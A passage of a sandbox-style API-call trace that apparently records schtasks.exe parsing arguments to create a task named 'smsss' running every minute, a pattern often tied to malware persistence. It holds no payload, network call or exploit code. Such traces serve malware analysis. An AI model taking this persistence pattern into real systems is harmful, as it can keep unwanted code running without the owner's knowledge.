dwFlags=0x0, lpMem=0x38ddb0 | out: hHeap=0x370000) returned 1 [0074.344] SetLastError (dwErrCode=0x0) [0074.344] GetThreadLocale () returned 0x409 [0074.344] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.344] lstrlenW (lpString="create") returned 6 [0074.344] GetThreadLocale () returned 0x409 [0074.344] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.344] lstrlenW (lpString="?") returned 1 [0074.344] GetThreadLocale () returned 0x409 [0074.344] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.344] lstrlenW (lpString="s") returned 1 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="u") returned 1 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="p") returned 1 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="ru") returned 2 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="rp") returned 2 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="sc") returned 2 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="mo") returned 2 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="d") returned 1 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="m") returned 1 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="i") returned 1 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="tn") returned 2 [0074.345] GetThreadLocale () returned 0x409 [0074.345] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.345] lstrlenW (lpString="tr") returned 2 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="st") returned 2 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="sd") returned 2 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="ed") returned 2 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="it") returned 2 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="et") returned 2 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="k") returned 1 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="du") returned 2 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="ri") returned 2 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="z") returned 1 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="f") returned 1 [0074.346] GetThreadLocale () returned 0x409 [0074.346] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.346] lstrlenW (lpString="v1") returned 2 [0074.347] GetThreadLocale () returned 0x409 [0074.347] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.347] lstrlenW (lpString="xml") returned 3 [0074.347] GetThreadLocale () returned 0x409 [0074.347] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.347] lstrlenW (lpString="ec") returned 2 [0074.347] GetThreadLocale () returned 0x409 [0074.347] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.347] lstrlenW (lpString="rl") returned 2 [0074.347] GetThreadLocale () returned 0x409 [0074.347] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.347] lstrlenW (lpString="delay") returned 5 [0074.347] GetThreadLocale () returned 0x409 [0074.347] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.347] lstrlenW (lpString="np") returned 2 [0074.347] SetLastError (dwErrCode=0x0) [0074.347] SetLastError (dwErrCode=0x0) [0074.347] lstrlenW (lpString="/create") returned 7 [0074.347] lstrlenW (lpString="-/") returned 2 [0074.347] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.347] lstrlenW (lpString="create") returned 6 [0074.347] lstrlenW (lpString="create") returned 6 [0074.347] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.347] lstrlenW (lpString="create") returned 6 [0074.347] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.347] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|create|") returned 8 [0074.347] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|create|") returned 8 [0074.347] lstrlenW (lpString="|create|") returned 8 [0074.347] lstrlenW (lpString="|create|") returned 8 [0074.347] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0074.347] SetLastError (dwErrCode=0x0) [0074.347] SetLastError (dwErrCode=0x0) [0074.347] SetLastError (dwErrCode=0x0) [0074.348] lstrlenW (lpString="/tn") returned 3 [0074.348] lstrlenW (lpString="-/") returned 2 [0074.348] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.348] lstrlenW (lpString="create") returned 6 [0074.348] lstrlenW (lpString="create") returned 6 [0074.348] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.348] lstrlenW (lpString="tn") returned 2 [0074.348] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.348] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|create|") returned 8 [0074.348] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.348] lstrlenW (lpString="|create|") returned 8 [0074.348] lstrlenW (lpString="|tn|") returned 4 [0074.348] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0074.348] SetLastError (dwErrCode=0x490) [0074.348] lstrlenW (lpString="?") returned 1 [0074.348] lstrlenW (lpString="?") returned 1 [0074.348] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.348] lstrlenW (lpString="tn") returned 2 [0074.348] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.348] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|?|") returned 3 [0074.348] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.348] lstrlenW (lpString="|?|") returned 3 [0074.348] lstrlenW (lpString="|tn|") returned 4 [0074.348] SetLastError (dwErrCode=0x490) [0074.348] lstrlenW (lpString="s") returned 1 [0074.348] lstrlenW (lpString="s") returned 1 [0074.348] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.348] lstrlenW (lpString="tn") returned 2 [0074.348] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.348] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|s|") returned 3 [0074.349] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.349] lstrlenW (lpString="|s|") returned 3 [0074.349] lstrlenW (lpString="|tn|") returned 4 [0074.349] SetLastError (dwErrCode=0x490) [0074.349] lstrlenW (lpString="u") returned 1 [0074.349] lstrlenW (lpString="u") returned 1 [0074.349] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.349] lstrlenW (lpString="tn") returned 2 [0074.349] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.349] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|u|") returned 3 [0074.349] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.349] lstrlenW (lpString="|u|") returned 3 [0074.349] lstrlenW (lpString="|tn|") returned 4 [0074.349] SetLastError (dwErrCode=0x490) [0074.349] lstrlenW (lpString="p") returned 1 [0074.349] lstrlenW (lpString="p") returned 1 [0074.349] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.349] lstrlenW (lpString="tn") returned 2 [0074.349] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.349] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|p|") returned 3 [0074.349] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.349] lstrlenW (lpString="|p|") returned 3 [0074.349] lstrlenW (lpString="|tn|") returned 4 [0074.349] SetLastError (dwErrCode=0x490) [0074.349] lstrlenW (lpString="ru") returned 2 [0074.349] lstrlenW (lpString="ru") returned 2 [0074.349] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.349] lstrlenW (lpString="tn") returned 2 [0074.349] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.349] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|ru|") returned 4 [0074.350] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.350] lstrlenW (lpString="|ru|") returned 4 [0074.350] lstrlenW (lpString="|tn|") returned 4 [0074.350] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0074.350] SetLastError (dwErrCode=0x490) [0074.350] lstrlenW (lpString="rp") returned 2 [0074.350] lstrlenW (lpString="rp") returned 2 [0074.350] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.350] lstrlenW (lpString="tn") returned 2 [0074.350] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.350] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|rp|") returned 4 [0074.350] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.350] lstrlenW (lpString="|rp|") returned 4 [0074.350] lstrlenW (lpString="|tn|") returned 4 [0074.350] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0074.350] SetLastError (dwErrCode=0x490) [0074.350] lstrlenW (lpString="sc") returned 2 [0074.350] lstrlenW (lpString="sc") returned 2 [0074.350] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.350] lstrlenW (lpString="tn") returned 2 [0074.350] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.350] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.350] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.350] lstrlenW (lpString="|sc|") returned 4 [0074.350] lstrlenW (lpString="|tn|") returned 4 [0074.350] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0074.350] SetLastError (dwErrCode=0x490) [0074.350] lstrlenW (lpString="mo") returned 2 [0074.350] lstrlenW (lpString="mo") returned 2 [0074.350] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.351] lstrlenW (lpString="tn") returned 2 [0074.351] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.351] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.351] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.351] lstrlenW (lpString="|mo|") returned 4 [0074.351] lstrlenW (lpString="|tn|") returned 4 [0074.351] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0074.351] SetLastError (dwErrCode=0x490) [0074.351] lstrlenW (lpString="d") returned 1 [0074.351] lstrlenW (lpString="d") returned 1 [0074.351] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.351] lstrlenW (lpString="tn") returned 2 [0074.351] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.351] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|d|") returned 3 [0074.351] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.351] lstrlenW (lpString="|d|") returned 3 [0074.351] lstrlenW (lpString="|tn|") returned 4 [0074.351] SetLastError (dwErrCode=0x490) [0074.351] lstrlenW (lpString="m") returned 1 [0074.351] lstrlenW (lpString="m") returned 1 [0074.351] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.351] lstrlenW (lpString="tn") returned 2 [0074.351] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.351] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|m|") returned 3 [0074.351] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.351] lstrlenW (lpString="|m|") returned 3 [0074.351] lstrlenW (lpString="|tn|") returned 4 [0074.351] SetLastError (dwErrCode=0x490) [0074.351] lstrlenW (lpString="i") returned 1 [0074.351] lstrlenW (lpString="i") returned 1 [0074.352] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.352] lstrlenW (lpString="tn") returned 2 [0074.352] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.352] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|i|") returned 3 [0074.352] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.352] lstrlenW (lpString="|i|") returned 3 [0074.352] lstrlenW (lpString="|tn|") returned 4 [0074.352] SetLastError (dwErrCode=0x490) [0074.352] lstrlenW (lpString="tn") returned 2 [0074.352] lstrlenW (lpString="tn") returned 2 [0074.352] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.352] lstrlenW (lpString="tn") returned 2 [0074.352] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.352] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.352] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.352] lstrlenW (lpString="|tn|") returned 4 [0074.352] lstrlenW (lpString="|tn|") returned 4 [0074.352] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0074.352] SetLastError (dwErrCode=0x0) [0074.352] SetLastError (dwErrCode=0x0) [0074.352] lstrlenW (lpString="smsss") returned 5 [0074.352] lstrlenW (lpString="-/") returned 2 [0074.352] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0074.352] SetLastError (dwErrCode=0x490) [0074.352] SetLastError (dwErrCode=0x490) [0074.352] SetLastError (dwErrCode=0x0) [0074.352] lstrlenW (lpString="smsss") returned 5 [0074.352] StrChrIW (lpStart="smsss", wMatch=0x3a) returned 0x0 [0074.352] SetLastError (dwErrCode=0x490) [0074.352] SetLastError (dwErrCode=0x0) [0074.352] lstrlenW (lpString="smsss") returned 5 [0074.352] SetLastError (dwErrCode=0x0) [0074.352] SetLastError (dwErrCode=0x0) [0074.353] lstrlenW (lpString="/sc") returned 3 [0074.353] lstrlenW (lpString="-/") returned 2 [0074.353] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.353] lstrlenW (lpString="create") returned 6 [0074.353] lstrlenW (lpString="create") returned 6 [0074.353] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.353] lstrlenW (lpString="sc") returned 2 [0074.353] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.353] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|create|") returned 8 [0074.353] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.353] lstrlenW (lpString="|create|") returned 8 [0074.353] lstrlenW (lpString="|sc|") returned 4 [0074.353] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0074.353] SetLastError (dwErrCode=0x490) [0074.353] lstrlenW (lpString="?") returned 1 [0074.353] lstrlenW (lpString="?") returned 1 [0074.353] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.353] lstrlenW (lpString="sc") returned 2 [0074.353] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.353] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|?|") returned 3 [0074.353] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.353] lstrlenW (lpString="|?|") returned 3 [0074.353] lstrlenW (lpString="|sc|") returned 4 [0074.353] SetLastError (dwErrCode=0x490) [0074.353] lstrlenW (lpString="s") returned 1 [0074.353] lstrlenW (lpString="s") returned 1 [0074.353] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.353] lstrlenW (lpString="sc") returned 2 [0074.353] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.353] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|s|") returned 3 [0074.354] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.354] lstrlenW (lpString="|s|") returned 3 [0074.354] lstrlenW (lpString="|sc|") returned 4 [0074.354] SetLastError (dwErrCode=0x490) [0074.354] lstrlenW (lpString="u") returned 1 [0074.354] lstrlenW (lpString="u") returned 1 [0074.354] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.354] lstrlenW (lpString="sc") returned 2 [0074.354] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.354] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|u|") returned 3 [0074.354] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.354] lstrlenW (lpString="|u|") returned 3 [0074.354] lstrlenW (lpString="|sc|") returned 4 [0074.354] SetLastError (dwErrCode=0x490) [0074.354] lstrlenW (lpString="p") returned 1 [0074.354] lstrlenW (lpString="p") returned 1 [0074.354] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.354] lstrlenW (lpString="sc") returned 2 [0074.354] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.354] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|p|") returned 3 [0074.354] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.354] lstrlenW (lpString="|p|") returned 3 [0074.354] lstrlenW (lpString="|sc|") returned 4 [0074.354] SetLastError (dwErrCode=0x490) [0074.354] lstrlenW (lpString="ru") returned 2 [0074.354] lstrlenW (lpString="ru") returned 2 [0074.354] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.354] lstrlenW (lpString="sc") returned 2 [0074.354] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.354] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|ru|") returned 4 [0074.354] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.355] lstrlenW (lpString="|ru|") returned 4 [0074.355] lstrlenW (lpString="|sc|") returned 4 [0074.355] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0074.355] SetLastError (dwErrCode=0x490) [0074.355] lstrlenW (lpString="rp") returned 2 [0074.355] lstrlenW (lpString="rp") returned 2 [0074.355] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.355] lstrlenW (lpString="sc") returned 2 [0074.355] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.355] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|rp|") returned 4 [0074.355] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.355] lstrlenW (lpString="|rp|") returned 4 [0074.355] lstrlenW (lpString="|sc|") returned 4 [0074.355] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0074.355] SetLastError (dwErrCode=0x490) [0074.355] lstrlenW (lpString="sc") returned 2 [0074.355] lstrlenW (lpString="sc") returned 2 [0074.355] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.355] lstrlenW (lpString="sc") returned 2 [0074.355] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.355] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.355] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.355] lstrlenW (lpString="|sc|") returned 4 [0074.355] lstrlenW (lpString="|sc|") returned 4 [0074.355] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0074.355] SetLastError (dwErrCode=0x0) [0074.355] SetLastError (dwErrCode=0x0) [0074.355] lstrlenW (lpString="MINUTE") returned 6 [0074.355] lstrlenW (lpString="-/") returned 2 [0074.355] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0074.355] SetLastError (dwErrCode=0x490) [0074.355] SetLastError (dwErrCode=0x490) [0074.356] SetLastError (dwErrCode=0x0) [0074.356] lstrlenW (lpString="MINUTE") returned 6 [0074.356] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0074.356] SetLastError (dwErrCode=0x490) [0074.356] SetLastError (dwErrCode=0x0) [0074.356] GetProcessHeap () returned 0x370000 [0074.356] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38d640 [0074.356] _memicmp (_Buf1=0x38d640, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.356] lstrlenW (lpString="MINUTE") returned 6 [0074.356] GetProcessHeap () returned 0x370000 [0074.356] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38d660 [0074.356] lstrlenW (lpString="MINUTE") returned 6 [0074.356] lstrlenW (lpString=" \x09") returned 2 [0074.356] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0074.356] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0074.356] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0074.356] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0074.356] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0074.356] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 